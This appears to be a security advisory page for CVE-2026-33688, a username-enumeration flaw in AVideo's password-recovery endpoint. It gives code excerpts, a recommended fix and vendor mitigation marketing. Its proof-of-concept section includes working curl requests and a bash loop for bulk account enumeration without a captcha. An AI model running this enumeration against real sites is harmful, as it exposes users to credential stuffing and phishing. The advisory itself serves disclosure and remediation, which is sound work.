CVE-2026-33688 is a medium-severity (CVSS 5.3) CWE-204 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33688.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33688 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
- Line 11 — A
Userobject is instantiated from unsanitized$_REQUEST['user']with no authentication:
$user = new User(0, $_REQUEST['user'], false);
- Lines 27-29 — If the user does not exist, a distinct error is returned immediately:
if (empty($user->getStatus())) {
$obj->error = __("User not found");
die(json_encode($obj));
}
- Lines 31-33 — If the user exists but is not active, a different distinct error is returned:
if ($user->getStatus() !== 'a') {
$obj->error = __("The user is not active");
die(json_encode($obj));
}
- Lines 37-41 — Captcha validation only occurs after both user enumeration checks:
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
} else {
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
# 1. Test a non-existent user — returns "User not found" without captcha
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=nonexistent_user_xyz&captcha=' | jq .error
# Response: "User not found"
# 2. Test a valid active user — passes user checks, hits captcha validation
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=admin&captcha=' | jq .error
# Response: "Captcha is empty"
# 3. Test an inactive/banned user (if one exists) — returns distinct status message
curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d 'user=banned_user&captcha=' | jq .error
# Response: "The user is not active"
# 4. Bulk enumeration script — no captcha solving required
for user in admin root test user1 user2 moderator editor; do
result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \
-d "user=${user}&captcha=")
error=$(echo "$result" | jq -r .error)
if [ "$error" = "Captcha is empty" ]; then
echo "[ACTIVE] $user"
elif [ "$error" = "The user is not active" ]; then
echo "[INACTIVE] $user"
else
echo "[NOT FOUND] $user"
fi
done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier.
- Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status.
- Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint.
- Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users.
- No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the user existence checks, and return a generic message regardless of user status:
// In objects/userRecoverPass.php, replace lines 26-41 with:
header('Content-Type: application/json');
// Validate captcha FIRST, before any user lookups
if (empty($_REQUEST['captcha'])) {
$obj->error = __("Captcha is empty");
die(json_encode($obj));
}
require_once 'captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if (!$valid) {
$obj->error = __("Your code is not valid");
$obj->reloadCaptcha = true;
die(json_encode($obj));
}
// After captcha passes, check user — but use generic message
if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) {
// Generic message — do not reveal whether user exists or is active
$obj->success = __("If this account exists, a recovery email has been sent");
die(json_encode($obj));
}
// Proceed with actual password recovery...
$recoverPass = $user->setRecoverPass();
Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33688 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33688 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33688. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33688 in your dependencies?
O3 Security finds CVE-2026-33688 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.